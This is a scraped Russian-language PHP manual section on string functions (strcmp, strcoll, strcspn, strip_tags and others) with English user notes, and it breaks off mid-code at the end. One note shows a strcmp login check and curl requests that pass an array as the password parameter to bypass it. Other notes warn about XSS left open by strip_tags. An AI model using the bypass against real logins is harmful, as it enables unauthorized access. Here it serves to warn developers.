I didn't see any explanation in the documentation as to precisely how the positive/negative return values are calculated for unequal strings.

After a bit of experimentation it appears that it's the difference in alphabetical position of the first character in unequal strings.

For example, the letter 'z' is the 26th letter while the letter 'a' is the 1st letter:

<?php

      $zappl = "zappl";
      $apple = "apple";

      echo strcasecmp($zappl, $apple); #outputs 25 [26 - 1]
      echo strcasecmp($apple, $zappl); #outputs -25 [1 - 26]

?>

This might be incredibly obvious to most people, but hopefully it will clarify the calculation process for some others.
chris at cmbuckley dot co dot uk 28-Dec-2011 04:59
A simple multibyte-safe case-insensitive string comparison:

<?php

function mb_strcasecmp($str1, $str2, $encoding = null) {
    if (null === $encoding) { $encoding = mb_internal_encoding(); }
    return strcmp(mb_strtoupper($str1, $encoding), mb_strtoupper($str2, $encoding));
}

?>

Caveat: watch out for edge cases like "?".
alvaro at demogracia dot com 29-Jul-2010 05:35
Don't forget this is a single-byte function: in Unicode strings it'll provide incoherent results as soon as both strings differ only in case. There doesn't seem to exist a built-in multi-byte alternative so you need to write your own, taking into account both character encoding and collation.
27-Aug-2002 06:53
The sample above is only true on some platforms that only use a simple 'C' locale, where individual bytes are considered as complete characters that are converted to lowercase before being differentiated.

Other locales (see LC_COLLATE and LC_ALL) use the difference of collation order of characters, where characters may be groups of bytes taken from the input strings, or simply return -1, 0, or 1 as the collation order is not simply defined by comparing individual characters but by more complex rules.

Don't base your code on a specific non null value returned by strcmp() or strcasecmp(): it is not portable. Just consider the sign of the result and be sure to use the correct locale!


Псевдоним strstr

  • « strcasecmp
  • strcmp »
  • PHP Manual
  • Функции для работы со строками
  • Псевдоним strstr

strchr

(PHP 4, PHP 5, PHP 7, PHP 8)

strchr — Псевдоним strstr()

Описание

Псевдоним функции strstr().

User Contributed Notes

webmaster at lyndonstate dot edu 12-Nov-2003 12:01
Alternative Way:
To get all the text before the first occurence.

-----------------------------------------------
INCLUDING A NEEDLE:

$string1 = "I need cookies & soda.";
$needle = "cookies";

//find length of the needle
$needle_len = strlen($needle);

//find postion
$position_num = strpos($string1,$needle) + $needle_len;

//cut the string
$result_string = substr("$string1",0,$position_num);

//display it
echo"$result_string"; // I need cookies

-----------------------------------------------
SHORTER VERSION:

$result_string = substr("$string1",0,strpos($string1,$needle)+strlen($needle));

echo"$result_string";//I need cookies

-----------------------------------------------
EXCLUDING THE NEEDLE:

$result_string = substr("$string1",0,strpos($string1,$needle));

echo"$result_string";// I need

-----------------------------------------------
FREE EMAIL JUNK?

This is probably useful for processing emails.
For example, someone sends email to your server from Yahoo account.
Free email always comes with wasted stuff like...
"Do you Yahoo!? The New Yahoo! Shopping - with improved product search ".
We can delete the phrase like this:

$needle="Do you Yahoo!?";

$result_string = substr("$emailstring",0,strpos($emailstring, $needle));
joaobett at oninet dot pt 10-Jan-2003 08:43
//If you want to get the text before the occurence of the character
//you want to find, simply use the function strRev twice:

$stringA = "user@example.com";
$toFind = "@";

$stringA = strrev($stringA); //The first time
$result = strchr($stringA,$toFind);
$result = strrev($result); //The second time
echo $result; //prints user@

//You can use it this way instead:
echo strrev( strchr(strrev($stringA),$toFind) );

-joao


Бинарно-безопасное сравнение строк

  • « strchr
  • strcoll »
  • PHP Manual
  • Функции для работы со строками
  • Бинарно-безопасное сравнение строк

strcmp

(PHP 4, PHP 5, PHP 7, PHP 8)

strcmp — Бинарно-безопасное сравнение строк

Описание

strcmp(string $string1, string $string2): int

Эта функция учитывает регистр символов.

Список параметров

string1

Первая строка.

string2

Вторая строка.

Возвращаемые значения

Возвращает -1, если string1 меньше string2, 1, если string1 больше string2, и 0, если строки равны.

Список изменений

Версия | Описание
8.2.0 | Функция теперь возвращает -1 или 1; ранее она возвращала отрицательное или положительное число.

Примеры

Пример #1 Пример использования strcmp()

<?php
$var1 = "Hello";
$var2 = "hello";
if (strcmp($var1, $var2) !== 0) {
echo '$var1 не равно $var2 при регистрозависимом сравнении';
}
?>

Смотрите также

  • strcasecmp() - Бинарно-безопасное сравнение строк без учёта регистра
  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • substr_compare() - Бинарно-безопасное сравнение 2 строк со смещением, с учётом или без учёта регистра
  • strncmp() - Бинарно-безопасное сравнение первых n символов строк
  • strstr() - Находит первое вхождение подстроки
  • substr() - Возвращает подстроку

User Contributed Notes

erik at eldata dot se 13-Dec-2020 06:41
strcmp and strcasecmp does not work well with multibyte (UTF8) strings and there are no mb_strcmp or mb_strcasecmp - instead look at the wonderful Collator class with method compare (search for Collator above) - supports not only UTF8 but also different national collations (sort orders).

Natural sort is also supported, use setAttribute to set Collator::NUMERIC_COLLATION to Collator::ON.
kgun ! mail ! com 12-Feb-2019 10:16
In case you want to get results -1, 0 or 1 always, like JS indexOf();

<?php
function cmp(string $str1, string $str2): int {
    return ($str1 > $str2) - ($str1 < $str2);
}

$str1 = 'a';
$str2 = 'z';
var_dump(cmp($str1, $str2), strcmp($str1, $str2));

//=> int(-1) int(-25) int(-25)

$str1 = 'a';
$str2 = '1';
var_dump(cmp($str1, $str2), strcmp($str1, $str2));
//=> int(1) int(48) int(48)
?>
mikael1 at mail dot ru 27-Jan-2019 03:05
1) If the two strings have identical BEGINNING parts, they are trunkated from both strings.
2) The resulting strings are compared with two possible outcomes:
a) if one of the resulting strings is an empty string, then the length of the non-empty string is returned (the sign depending on the order in which you pass the arguments to the function)
b) in any other case just the numerical values of the FIRST characters are compared. The result is +1 or -1 no matter how big is the difference between the numerical values.

<?php
$str = array('','a','afox','foxa');
$size = count($str);

echo '<pre>';
for($i=0; $i<$size; $i++)
{
  for($j=$i+1; $j<$size; $j++)
  {
    echo '<br>('.$str[$i].','.$str[$j].') = '.strcmp($str[$i], $str[$j]);
    echo '<br>('.$str[$j].','.$str[$i] .') = '.strcmp($str[$j], $str[$i]);
  }
}
echo '</pre>';
?>

In Apache/2.4.37 (Win32) OpenSSL/1.1.1 PHP/7.2.12 produces the following results:

(,a) = -1 //comparing with an empty string produces the length of the NON-empty string
(a,) = 1 // ditto
(,afox) = -4 // ditto
(afox,) = 4 // ditto
(,foxa) = -4 // ditto
(foxa,) = 4 // ditto
(a,afox) = -3 // The identical BEGINNING part ("a") is trunkated from both strings. Then the remaining "fox" is compared to the remaing empty string in the other argument. Produces the length of the NON-empty string. Same as in all the above examples.
(afox,a) = 3 // ditto
(a,foxa) = -1 // Nothing to trunkate. Just the numerical values of the first letters are compared
(foxa,a) = 1 // ditto
(afox,foxa) = -1 // ditto
(foxa,afox) = 1 // ditto
kamil dot k dot kielczewski at gmail dot com 24-Oct-2017 07:50
Vulnerability (in PHP >=5.3) :

<?php
if (strcmp($_POST['password'], 'sekret') == 0) {
    echo "Welcome, authorized user!\n";
} else {
    echo "Go away, imposter.\n";
}
?>

$ curl -d password=sekret http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!

$ curl -d password=wrong http://andersk.scripts.mit.edu/strcmp.php
Go away, imposter.

$ curl -d password[]=wrong http://andersk.scripts.mit.edu/strcmp.php
Welcome, authorized user!

SRC of this example: https://www.quora.com/Why-is-PHP-hated-by-so-many-developers
luizvid at gmail dot com 04-Oct-2015 10:01
strcmp returns -1 ou 1 if two strings are not identical,
and 0 when they are, except when comparing a string and an empty string (<?php $a = "";  ?>), it returns the length of the string.

For instance:
<?php
        $a = "foo"; // length 3
        $b = ""; // empty string
        $c = "barbar"; // length 6

        echo strcmp($a, $a); // outputs 0
        echo strcmp($a, $c); // outputs 1
        echo strcmp($c, $a); // outputs -1
        echo strcmp($a, $b); // outputs 3
        echo strcmp($b, $a); // outputs -3
        echo strcmp($c, $b); // outputs 6
        echo strcmp($b, $c); // outputs -6
?>
chris at unix-ninja dot com 01-Oct-2013 06:52
Since it may not be obvious to some people, please note that there is another possible return value for this function.

strcmp() will return NULL on failure.

This has the side effect of equating to a match when using an equals comparison (==).
Instead, you may wish to test matches using the identical comparison (===), which should not catch a NULL return.

---------------------
  Example
---------------------

$variable1 = array();
$ans === strcmp($variable1, $variable2);

This will stop $ans from returning a match;

Please use strcmp() carefully when comparing user input, as this may have potential security implications in your code.
lehal2 at hotmail dot com 01-Jan-2013 11:32
i hope this will give you a clear idea how strcmp works internally.

<?php
$str1 = "b";
echo ord($str1); //98
echo "<br/>";
$str2 = "t";
echo ord($str2); //116
echo "<br/>";
echo ord($str1)-ord($str2);//-18
$str1 = "bear";
$str2 = "tear";
$str3 = "";
echo "<pre>";
echo strcmp($str1, $str2); // -18
echo "<br/>";
echo strcmp($str2, $str1); //18
echo "<br/>";
echo strcmp($str2, $str2); //0
echo "<br/>";
echo strcmp($str2, $str3); //4
echo "<br/>";
echo strcmp($str3, $str2); //-4
echo "<br/>";
echo strcmp($str3, $str3); // 0
echo "</pre>";
?>
jendoj at gmail dot com 07-May-2012 11:00
If you rely on strcmp for safe string comparisons, both parameters must be strings, the result is otherwise extremely unpredictable.
For instance you may get an unexpected 0, or return values of NULL, -2, 2, 3 and -3.

strcmp("5", 5) => 0
strcmp("15", 0xf) => 0
strcmp(61529519452809720693702583126814, 61529519452809720000000000000000) => 0
strcmp(NULL, false) => 0
strcmp(NULL, "") => 0
strcmp(NULL, 0) => -1
strcmp(false, -1) => -2
strcmp("15", NULL) => 2
strcmp(NULL, "foo") => -3
strcmp("foo", NULL) => 3
strcmp("foo", false) => 3
strcmp("foo", 0) => 1
strcmp("foo", 5) => 1
strcmp("foo", array()) => NULL + PHP Warning
strcmp("foo", new stdClass) => NULL + PHP Warning
strcmp(function(){}, "") => NULL + PHP Warning
hrodicus at gmail dot com 28-Feb-2011 06:40
Note a difference between 5.2 and 5.3 versions

echo (int)strcmp('pending',array());
will output -1 in PHP 5.2.16 (probably in all versions prior 5.3)
but will output 0 in PHP 5.3.3

Of course, you never need to use array as a parameter in string comparisions.
hm2k at php dot net 02-Aug-2010 04:41
Don't forget the similar_text() function...

http://php.net/manual/en/function.similar-text.php
Rob Wiesler 21-Jul-2009 12:48
One big caveat - strings retrieved from the backtick operation may be zero terminated (C-style), and therefore will not be equal to the non-zero terminated strings (roughly Pascal-style) normal in PHP. The workaround is to surround every `` pair or shell_exec() function with the trim() function. This is likely to be an issue with other functions that invoke shells; I haven't bothered to check.

On Debian Lenny (and RHEL 5, with minor differences), I get this:

====PHP====
<?php
$sz = `pwd`;
$ps = "/var/www";

echo "Zero-terminated string:<br />sz = ".$sz."<br />str_split(sz) = "; print_r(str_split($sz));
echo "<br /><br />";

echo "Pascal-style string:<br />ps = ".$ps."<br />str_split(ps) = "; print_r(str_split($ps));
echo "<br /><br />";

echo "Normal results of comparison:<br />";
echo "sz == ps = ".($sz == $ps ? "true" : "false")."<br />";
echo "strcmp(sz,ps) = ".strcmp($sz,$ps);
echo "<br /><br />";

echo "Comparison with trim()'d zero-terminated string:<br />";
echo "trim(sz) = ".trim($sz)."<br />";
echo "str_split(trim(sz)) = "; print_r(str_split(trim($sz))); echo "<br />";
echo "trim(sz) == ps = ".(trim($sz) == $ps ? "true" : "false")."<br />";
echo "strcmp(trim(sz),ps) = ".strcmp(trim($sz),$ps);
?>

====Output====
Zero-terminated string:
sz = /var/www
str_split(sz) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w [8] => )

Pascal-style string:
ps = /var/www
str_split(ps) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )

Normal results of comparison:
sz == ps = false
strcmp(sz,ps) = 1

Comparison with trim()'d zero-terminated string:
trim(sz) = /var/www
str_split(trim(sz)) = Array ( [0] => / [1] => v [2] => a [3] => r [4] => / [5] => w [6] => w [7] => w )
trim(sz) == ps = true
strcmp(trim(sz),ps) = 0
wsogmm at seznam dot cz 16-May-2009 08:45
Just a short comment to the note of arnar at hm dot is: md5() is a hash function and therefore it may happen (although it is very unlikely) that the md5() checksums of  two different strings will be equal (hash collision) ...
francis at flourish dot org 08-Dec-2005 06:57
If you want to strings according to locale, use strcoll instead.
jcanals at totsoft dot com 30-Jan-2004 06:05
Some notes about the spanish locale. I've read some notes that says  "CH", "RR" or "LL" must be considered as a single letter in Spanish. That's not really tru. "CH", "RR" and "LL" where considered a single letter in the past (lot of years ago), for that you must use the "Tradictional Sort". Nowadays, the Academy uses the Modern Sort and recomends not to consider anymore "CH", "RR" and "LL" as a single letter. They must be considered two separated letters and sort and compare on that way.

Ju just have to take a look to the Offial Spanish Language Dictionary and you can see there that from many years ago there is not the separated section for "CH", "LL" or "RR" ... i.e. words starting with CH must be after the ones starting by CG, and before the ones starting by CI.
27-Aug-2002 06:45
In summary, strcmp() does not necessarily use the ASCII code order of each character like in the 'C' locale, but instead parse each string to match language-specific character entities (such as 'ch' in Spanish, or 'dz' in Czech), whose collation order is then compared. When both character entities have the same collation order (such as 'ss' and '?' in German), they are compared relative to their code by strcmp(), or considered equal by strcasecmp().
The LC_COLLATE locale setting is then considered: only if LC_COLLATE=C or LC_ALL=C does strcmp() compare strings by character code.
Generally, most locales define the following order:
control, space, punctuation and underscore, digit, alpha (lower then upper with Latin scripts; or final, middle, then isolated, initial with Arabic script), symbols, others...
With strcasecmp(), the alpha subclass is ignored and consider all forms of letters as equal.
Note also that some locales behave differently with accented characters: some consider they are the same letter as the unaccented letter (with a minor collation order, e.g. French, Italian, Spanish), some consider they are distinct letters with an independant collation order (e.g. in the C locale, or in Nordic languages).
Finally, the collation string is not considering individual characters but instead groups of characters that form a single letter:
- for example "ch" or "CH" in Spanish which is always after all other strings beginning with 'c' or 'C', including "cz", but before 'd' or 'D';
- 'ss' and '?' in German;
- 'dz', 'DZ' and 'Dz' in some Central European languages written with the Latin script...
- UTF-8, UTF-16 (Unicode), S-JIS, Big5, ISO2022 character encoding of a locale (the suffix in the locale name) first decode the characters into the UCS4/ISO10646 code position before applying the rules of the language indicated by the main locale...
So be extremely careful to what you consider a "character", as it may just mean a encoding byte with no significance in the string collation algorithm: the first character of the string "cholera" in Spanish is "ch", not "c" !
frewuill at merlin-corp dot com 28-Feb-2000 02:49
Hey be sure the string you are comparing has not special characters like '\n' or something like that.


Сравнение строк с учётом текущей локали

  • « strcmp
  • strcspn »
  • PHP Manual
  • Функции для работы со строками
  • Сравнение строк с учётом текущей локали

strcoll

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

strcoll — Сравнение строк с учётом текущей локали

Описание

strcoll(string $string1, string $string2): int

Обратите внимание, что эта функция учитывает регистр символов, и в отличие от strcmp(), не безопасна для обработки данных в двоичной форме.

strcoll() при сравнении использует установки текущей локали. Если установлена локаль C или POSIX, эта функция аналогична strcmp().

Список параметров

string1

Первая строка.

string2

Вторая строка.

Возвращаемые значения

Возвращает отрицательное число, если string1 меньше string2, положительное число, если string1 больше string2, и 0, если они равны.

Смотрите также

  • preg_match() - Выполняет проверку на соответствие регулярному выражению
  • strcmp() - Бинарно-безопасное сравнение строк
  • strcasecmp() - Бинарно-безопасное сравнение строк без учёта регистра
  • substr() - Возвращает подстроку
  • stristr() - Регистронезависимый вариант функции strstr
  • strncasecmp() - Бинарно-безопасное сравнение первых n символов строк без учёта регистра
  • strncmp() - Бинарно-безопасное сравнение первых n символов строк
  • strstr() - Находит первое вхождение подстроки
  • setlocale() - Устанавливает региональные настройки

User Contributed Notes

mkroese at eljakim dot nl 02-Aug-2019 09:13
You should not rely on this function to properly compare localized strings.

<?php
$a = "Osterreich";
$b = "Oesterreich";
$z = "Zeta";

echo setlocale(LC_ALL, 0) . PHP_EOL; // (on my mac: C/en_US.UTF-8/C/C/C/C)
echo strcoll($a, $b) . PHP_EOL; // 116
echo strcoll($b, $a) . PHP_EOL; // -116
echo strcoll($a, $z) . PHP_EOL; // 105

echo setlocale(LC_ALL, "de_DE") . PHP_EOL; // de_DE
echo strcoll($a, $b) . PHP_EOL; // 135
echo strcoll($b, $a) . PHP_EOL; // -135
echo strcoll($a, $z) . PHP_EOL; // 124

$collator = new Collator("de_DE");
echo $collator->compare($a, $b); // 1
echo $collator->compare($b, $a); // -1
echo $collator->compare($a, $z); // -1
?>

Using the Collator (from the intl module) you will get the expected result for e.g. sorting such that the string "Osterreich" will rank higher than "Zeta", but after "Oesterreich".

strcoll's output will differ per platform, locale and used c library, while the Collator will give more stable results on different platforms.
sakkarinlaohawisut15 at hotmail dot com 22-Mar-2003 11:31
strcoll()'s behavior is sometimes a little bit confusing. It depends on LC_COLLATE in your locale.

<?php

 $a = 'a';
 $b = 'A';

 print strcmp ($a, $b) . "\n"; // prints 1

setlocale (LC_COLLATE, 'C');
 print "C: " . strcoll ($a, $b) . "\n"; // prints 1

 setlocale (LC_COLLATE, 'de_DE');
 print "de_DE: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'de_CH');
print "de_CH: " . strcoll ($a, $b) . "\n"; // prints -2

 setlocale (LC_COLLATE, 'en_US');
 print "en_US: " . strcoll ($a, $b) . "\n"; // prints -2

?>

This is useful e. g. if want to sort an array by using strcoll:

<?php

 $a = array ('a', 'A', '?', '?', 'b', 'B');

 setlocale (LC_COLLATE, 'C');
 usort ($a, 'strcoll');
 print_r ($a);

?>

This is like sort($a):
 Array
 (
    [0] => A
    [1] => B
  [2] => a
    [3] => b
    [4] => ?
    [5] => ?
 )

<?php

 setlocale (LC_COLLATE, 'de_DE');
usort ($a, 'strcoll');
 print_r ($a)

?>
This is completely different:
 Array
 (
    [0] => a
    [1] => A
    [2] => ?
    [3] => ?
    [4] => b
  [5] => B
 )
27-Aug-2002 07:05
Note that some platforms implement strcmp() and strcasecmp() according to the current locale when strings are not binary equal, so that strcmp() and strcoll() will return the same value! This depends on how the PHP strcmp() function is compiled (i.e. if it uses the platform specific strcmp() found in its standard library!).
In that case, the only difference between strcoll() and strcmp() is that strcoll() may return 0 for distinct strings(i.e. consider strings are equal) while strcmp() will differentiate them if they have distinct binary encoding! This typically occurs on Asian systems.
What you can be sure is that strcmp() will always differentiate strings that are encoded differently, but the relative order may still use the current locale setting for collation order!


Возвращает длину участка в начале строки, не соответствующего маске

  • « strcoll
  • strip_tags »
  • PHP Manual
  • Функции для работы со строками
  • Возвращает длину участка в начале строки, не соответствующего маске

strcspn

(PHP 4, PHP 5, PHP 7, PHP 8)

strcspn — Возвращает длину участка в начале строки, не соответствующего маске

Описание

strcspn(
string $string,
string $characters,
int $offset = 0,
?int $length = null
): int

Возвращает длину участка в начале строки string, который не содержит ни одного символа из строки characters.

Если параметры offset и length не указаны, то все содержимое string будет исследовано. Если же эти параметры указаны, то эффект будет таким же, как при вызове strcspn(substr($string, $offset, $length), $characters) (смотрите substr для дополнительной информации).

Список параметров

string

Строка для исследования.

characters

Строка, содержащая каждый из запрещённых символов.

offset

Позиция в строке string, с которой начинается поиск.

Если offset указан и не является отрицательным значением, тогда strcspn() начнёт обследование строки string с позиции, указанной в offset. Например: в строке 'abcdef', символ в позиции 0 это 'a', символ в позиции 2 это 'c', и так далее.

Если offset указан, но является отрицательным числом, то strspn() начнёт обследование строки string с позиции, указанной в параметре offset, начиная с конца строки string.

length

Длина фрагмента из string для обследования.

Если параметр length указан и не является отрицательным значением, тогда будет обследовано length символов из string, отсчитывая от стартовой позиции.

Если length передан и значение отрицательное, то будут проверяться символы, начиная со стартовой позиции и до length с конца string.

Возвращаемые значения

Возвращает длину начального фрагмента строки string, которая состоит полностью из символов, не включённых в параметр characters.

Замечание:

Когда параметр offset указан, возвращаемая длина определяется, начиная с этой позиции, а не с начала строки string.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null.

Примеры

Пример #1 Пример использования strcspn()

<?php
$a = strcspn('abcd', 'apple');
$b = strcspn('abcd', 'banana');
$c = strcspn('hello', 'l');
$d = strcspn('hello', 'world');
$e = strcspn('abcdhelloabcd', 'abcd', -9);
$f = strcspn('abcdhelloabcd', 'abcd', -9, -5);

var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);
var_dump($e);
var_dump($f);
?>

Результат выполнения приведённого примера:

int(0)
int(0)
int(2)
int(2)
int(5)
int(4)

Примечания

Замечание: Эта функция безопасна для обработки данных в двоичной форме.

Смотрите также

  • strspn() - Возвращает длину участка в начале строки, полностью соответствующего маске

User Contributed Notes

nospam at nospam dot com 02-Sep-2016 04:31
It might not be clear from the example, that

strcspn('abcdhelloabcd', 'abcd', -9, -5) == 4

because it's only evaluating 'hell' which doesn't contain any mask, so returns strlen('hell').
legacyprog at routinz dot net 09-Dec-2010 07:20
When you use the third parameter remember that the function will return the number of characters it bypassed, which will *not* be the position in your source string.  It's a simple fix to just add your third parameter value to the function result to get the position in the first string where the scan stopped, but I didn't think of it at first.
Anonymous 16-Oct-2009 10:55
strcspn() can also be thought of as analogous to the following regular expression:
<?php
// where ... represents the mask of characters
preg_match('/[^ ...]/', substr($subject, $start, $length) );
?>
By this analogy, strcspn() can be used in place of some regular expressions to match a pattern without the overhead of a regex engine -- for example, ways to verify if an input string represents a binary value:
<?php
preg_match('/^[01]+$/i', $subject);
// or...
!preg_match('/[^01]/i', $subject);

// ...or using strcspn()
!strcspn($subject, '01');
?>
AT-HE (at_he AT hotmai1 DOT com) 27-Dec-2005 02:07
this function can be used like strspn(), except while that can be used to compare a string with an allowed pattern, this one can be use to compare a string with a FORBIDDEN pattern

so, to know if any forbidden character has a position inside our string, we can use (not tested with backslashes)...

<?php
// LARGE VERSION
$forbidden="\"\\?*:/@|<>";
if (strlen($filename) != strcspn($filename,$forbidden)) {
    echo "you cant create a file with that name!";
}

// SHORT VERSION
if (strlen($filename) - strcspn($filename,"\"\\?*:/@|<>")) {
    echo "i told you, you cant create that file";
}
?>
maskedcoder at hotmail dot com 10-Oct-2005 04:13
useful for finding beginning of quotes and/or tags in a variable containing html.
    $pos = strcspn($data, '<"\'');
will find the first occurance of either the beginning of a tag, or a double- or single-quoted string.


Удаляет теги HTML и PHP из строки

  • « strcspn
  • stripcslashes »
  • PHP Manual
  • Функции для работы со строками
  • Удаляет теги HTML и PHP из строки

strip_tags

(PHP 4, PHP 5, PHP 7, PHP 8)

strip_tags — Удаляет теги HTML и PHP из строки

Описание

strip_tags(string $string, array|string|null $allowed_tags = null): string

Функция пытается возвратить строку, из которой удалены все NULL-байты, HTML- и PHP-теги из заданной строки (string). Для удаления тегов используется тот же механизм, что и в функции fgetss().

Список параметров

string

Входная строка.

allowed_tags

Второй необязательный параметр может быть использован для указания тегов, которые не нужно удалять. Они указываются как строка (string) или как массив (array) с PHP 7.4.0. Смотрите пример ниже относительно формата этого параметра.

Замечание:

Комментарии HTML и PHP-теги также будут удалены. Это жёстко задано в коде и не может быть изменено с помощью параметра allowed_tags.

Замечание:

Самозакрывающиеся (такие как <br/>) теги XHTML игнорируются и только не самозакрывающиеся теги должны быть использованы в allowed_tags. К примеру, для разрешения как <br>, так и <br/> нужно сделать следующее:

<?php
strip_tags($input, '<br>');
?>

Возвращаемые значения

Возвращает строку без тегов.

Список изменений

Версия | Описание
8.0.0 | allowed_tags теперь допускает значение null.
7.4.0 | allowed_tags теперь альтернативно принимает массив (array).

Примеры

Пример #1 Пример использования strip_tags()

<?php
$text = '<p>Параграф.</p><!-- Комментарий --> <a href="#fragment">Ещё текст</a>';
echo strip_tags($text);
echo "\n";

// Разрешаем <p> и <a>
echo strip_tags($text, '<p><a>');

// Начиная с PHP 7.4.0, строка выше может быть записана как:
// echo strip_tags($text, ['p', 'a']);
?>

Результат выполнения приведённого примера:

Параграф. Ещё текст
<p>Параграф.</p> <a href="#fragment">Ещё текст</a>

Примечания

Внимание

Эта функция не должна использоваться для предотвращения XSS-атак. Используйте более подходящие функции для этой задачи, такие как htmlspecialchars() или другие механизмы, в зависимости от контекста вывода.

Внимание

Из-за того, что strip_tags() не проверяет валидность HTML, то частичные или сломанные теги могут послужить удалением большего количества текста или данных, чем ожидалось.

Внимание

Эта функция не изменяет атрибуты тегов, разрешённых с помощью allowed_tags, включая такие атрибуты как style и onmouseover, которые могут быть использованы озорными пользователями при отправке текста, отображаемого также и другим пользователям.

Замечание:

Имена тегов в HTML превышающие 1023 байта будут рассматриваться как невалидные независимо от параметра allowed_tags.

Смотрите также

  • htmlspecialchars() - Преобразовывает специальные символы в HTML-сущности

User Contributed Notes

makogon-vs at yandex dot ru 14-Oct-2023 01:08
One of the most ridiculous and quite common variations of the use of this function, which is often encountered among newcomers to the world of programming, is the use of this function when processing query variables:

<?php
$search = isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

I don't know the root cause of where this "fashion" came from, perhaps from yet another low-quality book on PHP at the beginning of the century. But the fact remains that this construction is used even now, in the days of PHP8, not only by beginners, but also by developers of commercial systems.

Please do not use this function in the manner described above. This doesn't make any practical sense.

The HTML code removal function has nothing to do with data validation, much less the topic of SQL injections.

Also, you should not use this function when processing data before writing it to the database. It sounds strange, but you can never be sure that when using this function in the corporate system you are designing, you will not lose important incoming data that may (or will eventually become) come in HTML format.
A good practice for building systems is to sketch out the data in its original form, "as is," but you can provide this data in client code according to current business requirements.
Patrick dot Janser at Gmail 21-Sep-2023 01:48
CAUTION: I noticed that strip_tags(), tested on PHP 8.2.10, will NOT work if you have some spaces between the "<" and the tag name, which is still considered as valid HTML. So this can get very problematic depending on your HTML source. Example:

<?php

$html = <<<END_OF_HTML
<p>This will be ok.</p>
< p >But this will not!< / p >
END_OF_HTML;

$output = strip_tags($html);
var_export($output);

?>

Will output: 'This will be ok.
< p >But this will not!< / p >'

It might be safer to use a proper filtering library such as http://htmlpurifier.org/ or to do it with a DOM parser.
abe 24-May-2021 05:30
Note, strip_tags will remove anything looking like a tag - not just tags - i.e. if you have tags in attributes then they may be removed too,

e.g.

    <?php
    $test='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
    $echo strip_tags($test, "<div><b>");

will result in

   <div a="abc bdef/b hij" b="1">x<b>y</b>z</div>
roger dot keulen at vaimo dot com 09-Sep-2019 12:01
https://bugs.php.net/bug.php?id=78346

After upgrading from v7.3.3 to v7.3.7 it appears nested "php tags" inside a string are no longer being stripped correctly by strip_tags().

This is still working in v7.3.3, v7.2 & v7.1. I've added a simple test below.

Test script:
---------------
<?php
$str = '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

Expected result:
----------------
string(1) "2"

Actual result:
--------------
string(5) "' ?>2"
D Mo 16-Apr-2018 12:23
When process a bulk of strings, the stripping of tags including their content on basis of regular expression is very slow. This function may help:

<?php
/**
 * Removes passed tags with their content.
 *
 * @param array $tagsToRemove List of tags to remove
 * @param $haystack String to cleanup
 * @return string
 */
function removeTagsWithTheirContent(array $tagsToRemove, $haystack)
{
    $currTag = '';
    $currPos = false;

    $initSearch = function (&$currTag, &$currPos, $tagsToRemove, $haystack) {
        $currTag = '';
        $currPos = false;
        foreach ($tagsToRemove as $tag) {
            $tempPos = stripos($haystack, '<'.$tag);
            if ($tempPos !== false && ($currPos === false || $tempPos < $currPos)) {
                $currPos = $tempPos;
                $currTag = $tag;
            }
        }
    };

    $substri_count = function ($haystack, $needle, $offset, $length) {
        $haystack = strtolower($haystack);
        return substr_count($haystack, $needle, $offset, $length);
    };

    $initSearch($currTag, $currPos, $tagsToRemove, $haystack);
    while ($currPos !== false) {
        $minTagLength = strlen($currTag) + 2;
        $tempPos = $currPos + $minTagLength;
        $tagEndPos = stripos($haystack, '</'.$currTag.'>', $tempPos);
        // process nested tags
        if ($tagEndPos !== false) {
            $nestedCount = $substri_count($haystack, '<' . $currTag, $tempPos, $tagEndPos - $tempPos);

            for ($i = $nestedCount; $i > 0; $i--) {
                $lastValidPos = $tagEndPos;
                $tagEndPos = stripos($haystack, '</' . $currTag . '>', $tagEndPos + 1);
                if ($tagEndPos === false) {
                    $tagEndPos = $lastValidPos;
                    break;
                }
            }
        }

        if ($tagEndPos === false) {
            // invalid html, end search for current tag
            $tagsToRemove = array_diff($tagsToRemove, [$currTag]);
        } else {
            // remove current tag with its content
            $haystack = substr($haystack, 0, $currPos)
                // get string after "</$tag>"
                .substr($haystack, $tagEndPos + strlen($currTag) + 3);
        }

        $initSearch($currTag, $currPos, $tagsToRemove, $haystack);
    }

    return $haystack;
}
?>
Anonymous 05-Apr-2017 12:05
Just bzplan's function with the option to choose what tags are replaced for

function rip_tags($string, $rep = ' ') {

    // ----- remove HTML TAGs -----
    $string = preg_replace ('/<[^>]*>/', $rep, $string);

    // ----- remove control characters -----
    $string = str_replace("\r", '', $string);    // --- replace with empty space
    $string = str_replace("\n", $rep, $string);   // --- replace with space
    $string = str_replace("\t", $rep, $string);   // --- replace with space

    // ----- remove multiple spaces -----
    $string = trim(preg_replace('/ {2,}/', $rep, $string));

    return $string;

}
stever at starburstpublishing dot com dot au 19-Sep-2016 06:09
Since strip_tags does not remove attributes and thus creates a potential XSS security hole, here is a small function I wrote to allow only specific tags with specific attributes and strip all other tags and attributes.

If you only allow formatting tags such as b, i, and p, and styling attributes such as class, id and style, this will strip all javascript including event triggers in formatting tags.

Note that allowing anchor tags or href attributes opens another potential security hole that this solution won't protect against. You'll need more comprehensive protection if you plan to allow links in your text.

<?php
function stripUnwantedTagsAndAttrs($html_str){
  $xml = new DOMDocument();
//Suppress warnings: proper error handling is beyond scope of example
  libxml_use_internal_errors(true);
//List the tags you want to allow here, NOTE you MUST allow html and body otherwise entire string will be cleared
  $allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
//List the attributes you want to allow here
  $allowed_attrs = array ("class", "id", "style");
  if (!strlen($html_str)){return false;}
  if ($xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
    foreach ($xml->getElementsByTagName("*") as $tag){
      if (!in_array($tag->tagName, $allowed_tags)){
        $tag->parentNode->removeChild($tag);
      }else{
        foreach ($tag->attributes as $attr){
